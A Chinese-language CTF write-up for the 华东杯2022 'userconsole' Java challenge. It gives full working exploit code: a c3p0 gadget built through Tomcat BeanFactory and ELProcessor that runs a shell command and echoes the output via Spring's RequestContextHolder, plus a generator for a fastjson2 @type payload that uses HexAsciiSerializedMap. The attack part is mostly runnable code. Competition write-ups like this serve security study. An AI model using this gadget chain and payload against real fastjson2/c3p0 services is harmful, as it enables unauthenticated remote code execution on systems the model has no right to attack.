华东杯2022 userconsole

这道java题复习了下c3p0还新尝试了一种spring不出网的打法吧原因是学校靶场里的这道题是不出网的也是折磨了很久，最后慢慢调出来了还是很开心的。

看见JSON.parse所以思路往fastjson反序列化身上靠
看pom.xml

fastjson2没做过
之前都是fastjson1.x不过有c3p0包结合之前学的hex链其实点是一个setter方法
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners()
那就可以打hex链
hex链有点像二次反序列化就是提供了一个readobject（以后可以出题用来绕过黑名单
要结合别的组件的链子打
spring框架首先想到打jackson链
可当我本地测试的时候失败了原因是pojonode没有实现serialize原来是低版本的jackson的问题

这是可以打pojonode的

这里很明显不行qaq
还有一个问题也就是tomcat在处理header信息时会有大小限制pojonode生成的太大了tomcat直接寄了
那就这能换个思路打c3p0的链子
urlclassloader链子失败了因为不出网 （生气
不过这里要补充一个知识就是远程加载字节码如果要打内存马需要加一个类加载器直接类加载的，要套一层加载器感兴趣的师傅能试试
这里不说这个我自己实现的方法是用tomcat包下的beanfactory
去打本地类加载无回现的化采用的是Spring Boot 内存回显

如果题目环境是 Spring / Spring Boot 框架，可以直接利用 Spring 内部的 RequestContextHolder 获取当前的 HTTP Response 对象，将 命令执行 的结果直接写入响应报文返回。
ser.java

  
package com.app.controller;  
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;  
import org.apache.naming.ResourceRef;  
  
import javax.naming.NamingException;  
import javax.naming.Reference;  
import javax.naming.Referenceable;  
import javax.naming.StringRefAddr;  
import javax.sql.ConnectionPoolDataSource;  
import javax.sql.PooledConnection;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.sql.SQLException;  
import java.sql.SQLFeatureNotSupportedException;  
import java.util.logging.Logger;  
  
public class ser {  
  
    public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable {  
        public Reference getReference() {  
            String cmd = "cat /flag";  
            String jsCode = "var context = java.lang.Thread.currentThread().getContextClassLoader().loadClass('org.springframework.web.context.request.RequestContextHolder').getMethod('getRequestAttributes').invoke(null);" +  
                    "var resp = context.getClass().getMethod('getResponse').invoke(context);" +  
                    "var writer = resp.getWriter();" +  
                    "var p = java.lang.Runtime.getRuntime().exec('"+ cmd +"');" +  
                    "var scan = new java.util.Scanner(p.getInputStream()).useDelimiter('\\\\A');" +  
                    "var result = scan.hasNext() ? scan.next() : '';" +  
                    "writer.write(result);writer.flush();writer.close();";  
  
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);  
            ref.add(new StringRefAddr("forceString", "x=eval"));  
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"" + jsCode + "\")"));  
            return ref;  
        }  
  
  
        @Override  
        public PooledConnection getPooledConnection() throws SQLException {  
            return null;  
        }  
  
        @Override  
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {  
            return null;  
        }  
  
        @Override  
        public PrintWriter getLogWriter() throws SQLException {  
            return null;  
        }  
  
        @Override  
        public void setLogWriter(PrintWriter out) throws SQLException {  
  
        }  
  
        @Override  
        public void setLoginTimeout(int seconds) throws SQLException {  
  
        }  
  
        @Override  
        public int getLoginTimeout() throws SQLException {  
            return 0;  
        }  
  
        @Override  
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {  
            return null;  
        }  
    }  
  
    public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {  
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  
        Class cls = poolBackedDataSourceBase.getClass();  
        Field field = cls.getDeclaredField("connectionPoolDataSource");  
        field.setAccessible(true);  
        field.set(poolBackedDataSourceBase,c);  
  
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));  
        ObjectOutputStream oos = new ObjectOutputStream(fos);  
        oos.writeObject(poolBackedDataSourceBase);  
  
    }  
    public static void Pool_Deserial() throws IOException, ClassNotFoundException {  
        FileInputStream fis = new FileInputStream(new File("exp.bin"));  
        ObjectInputStream objectInputStream = new ObjectInputStream(fis);  
        objectInputStream.readObject();  
    }  
  
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
        EXP_Loader exp_loader = new EXP_Loader();  
        Pool_Serial(exp_loader);  
        Pool_Deserial();  
    }  
  
}

exp.java

package com.app.controller;  
import com.alibaba.fastjson2.JSON;  
import com.alibaba.fastjson2.JSONReader;  
import java.io.IOException;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.Base64;  
  
public class EXP {  
    public static void unserialize(String exp) throws IOException, ClassNotFoundException {  
        byte[] decode = Base64.getDecoder().decode(exp);  
        String Hex = bytesToHexString(decode,decode.length);  
        System.out.println(Hex);  
    }  
    public static String bytesToHexString(byte[] bArray, int length) {  
        StringBuffer sb = new StringBuffer(length);  
  
        for(int i = 0; i < length; ++i) {  
            String sTemp = Integer.toHexString(255 & bArray[i]);  
            if (sTemp.length() < 2) {  
                sb.append(0);  
            }  
  
            sb.append(sTemp.toUpperCase());  
        }  
        return sb.toString();  
    }  
  
  
    public static void main(String[] args) throws IOException, ClassNotFoundException {  
        byte[] decode = Files.readAllBytes(Paths.get("D:\\systemDir\\Desktop\\java\\resources\\BOOT-INF\\classes\\exp.bin"));  
        String p = bytesToHexString(decode,decode.length)+"a";  
        String payload="{\"@type\":\"[com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",[\"userOverridesAsString\":\"HexAsciiSerializedMap:"+p+"\"]}";  
        System.out.println(Base64.getEncoder().encodeToString(payload.getBytes()));  
        //JSON.parse(payload, new JSONReader.Feature[]{JSONReader.Feature.SupportAutoType});  
  
  
    }  
}